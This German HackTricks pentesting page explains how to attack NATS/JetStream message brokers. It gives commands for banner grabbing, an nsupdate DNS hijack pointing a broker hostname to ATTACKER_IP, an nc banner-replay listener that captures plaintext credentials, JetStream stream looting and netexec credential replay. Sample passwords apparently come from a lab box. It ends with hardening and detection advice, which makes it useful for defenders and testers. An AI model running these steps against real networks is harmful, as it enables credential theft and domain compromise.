4222 - Pentesting NATS / JetStream
Tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Grundlegende Informationen
NATS ist ein hochperformanter Message-Bus, der ein einfaches textbasiertes Protokoll spricht: der Server sendet unmittelbar nach TCP-Verbindung ein INFO { ... } JSON-Banner, und der Client antwortet mit einem CONNECT {"user":"USERNAME","pass":"PASSWORD",...}-Frame, gefolgt von optionalen PING/PUB/SUB-Befehlen. JetStream fügt Persistenz-Primitiven (Streams & Consumers) oberhalb desselben TCP-Ports (4222/tcp) hinzu. TLS und Authentifizierung sind optional, daher laufen viele interne Bereitstellungen mit plaintext AUTH.
- Standardport: 4222/tcp (4223+ für Cluster-Routen)
- Standard-Banner-Felder:
"version","auth_required","jetstream","max_payload","tls_required"
Aufklärung
Banner grabbing / service probes
nmap -p4222 -sV --script banner TARGET
# Sample output
# 4222/tcp open nats NATS.io gnatsd 2.11.3
# | banner: INFO {"server_id":"NDo...","version":"2.11.3","proto":1,"auth_required":true,"jetstream":true,"max_payload":1048576}
Der INFO-Frame kann auch manuell abgerufen werden:
echo | nc HOST 4222
INFO {"server_id":"NCLWJ...","version":"2.11.3","auth_required":true,"jetstream":true}
-ERR 'Authorization Violation'
Installieren Sie die offizielle CLI (Go ≥1.21) für tiefere Interaktion:
go install github.com/nats-io/natscli/nats@latest
nats -s nats://HOST:4222 rtt
Authentifizierungsfehler lösen sofort nats: Authorization Violation aus, daher sind gültige creds für jedes sinnvolle RPC erforderlich.
Credential capture via DNS/service impersonation
- Ermittle veraltete AD DNS-Einträge für den Broker-Hostname (z. B.
nats-svc.domain.local). Wenn der RecordNXDOMAINzurückgibt, kann ein Domänenbenutzer mit geringen Rechten ihn dank der default dynamic-update ACLs neu erstellen. Siehe AD DNS Records abuse für Hintergrund. - Registriere den Hostnamen auf eine vom Angreifer kontrollierte IP:
nsupdate
> server DC_IP
> update add nats-svc.domain.local 60 A ATTACKER_IP
> send
- Spiegle das legitime Banner einmal und spiele es dann an jeden verbindenden Client zurück. NATS vertraut der ersten
INFO-Zeile, die es sieht, daher müssen wir sie nur durch einen listener leiten:
nc REAL_NATS 4222 | head -1 | nc -lnvp 4222
- Sobald ein interner Client den hijacked Namen auflöst, sendet er einen Klartext-
CONNECT-Frame, der dasuser/pass-Paar und verschiedene Telemetriedaten (Client-Name, Go-Version, Protokolllevel) enthält. Da nichts über das INFO banner hinaus erforderlich ist, reicht schonnc, um die Geheimnisse zu sammeln. - Für längere Einsätze betreibe den offiziellen Server lokal (
git clone https://github.com/nats-io/nats-server && go build && ./nats-server -V). TRACE logging zeigt bereits Benutzernamen; das Entfernen des redaction helper oder das Mitschneiden des Verkehrs mit Wireshark offenbart das vollständige Passwort.
JetStream-Plünderung & Passwortsuche
Sobald Anmeldeinformationen wiederhergestellt wurden (z. B. Dev_Account_A), speichere sie als CLI-Kontext, um wiederholtes Eintippen zu vermeiden:
nats context add mirage -s nats://dc01.mirage.htb --user Dev_Account_A --password 'hx5h7F5554fP@1337!'
JetStream-Discovery folgt normalerweise diesem Muster:
nats account info --context mirage # quotas, stream count, expiration
nats stream list --context mirage # names + message totals
nats stream info auth_logs --context mirage
nats stream view auth_logs --context mirage
Streaming-Teams protokollieren häufig Authentifizierungsereignisse in subjects wie logs.auth. Wenn Entwickler das rohe JSON in einen JetStream-Stream persistieren, können die payloads plaintext AD-Benutzernamen und -Passwörter enthalten:
{"user":"david.jjackson","password":"pN8kQmn6b86!1234@","ip":"10.10.10.20"}
Behaltene Secrets können dann gegen Kerberos-only Services mit netexec smb DC01 -u USER -p PASS -k replayed werden, was eine vollständige Kompromittierung der Domain ermöglicht.
Härtung & Erkennung
- TLS durchsetzen (
tls,tls_required, oder mTLS viankey/creds). Ohne Verschlüsselung leakt INFO/CONNECT Anmeldeinformationen an jeden on-path. - Genau bestimmen, wer DNS aktualisieren kann – delegiere service records an dedizierte Accounts und prüfe Event IDs 257/252 für hochwertige Hostnamen. Kombiniere das mit scavenging alerts, damit fehlende Broker-Namen nicht stillschweigend wieder-übernommen werden können.
- Credential-Logging deaktivieren. Scrubbe Secrets bevor du sie an subjects publishst, setze JetStream retention/age limits und wende
deny_delete=falsenur auf vertrauenswürdige Operatoren an. - Auf Banner-Anomalien überwachen – wiederholte kurzlebige Verbindungen, Authentication-Timeouts oder INFO banners, die nicht dem zugelassenen Template entsprechen, deuten auf gefälschte Server hin.
Referenzen
Tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
HackTricks

